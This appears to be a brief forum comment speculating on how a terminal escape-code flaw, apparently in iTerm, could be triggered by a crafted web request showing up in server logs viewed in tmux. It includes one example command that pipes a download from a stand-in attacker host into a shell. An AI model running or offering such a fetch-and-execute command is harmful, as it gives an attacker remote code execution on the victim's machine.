I take it the nightmare scenario here is that you have web logs streaming in a tmux window and an attacker accesses /404/escape-code/curl -s http://evil.com/pwn|bash? Does the window need to be foregrounded for the attack to work? I guess the good news is that iTerm is Mac only, so I can't imagine that many web servers are using it.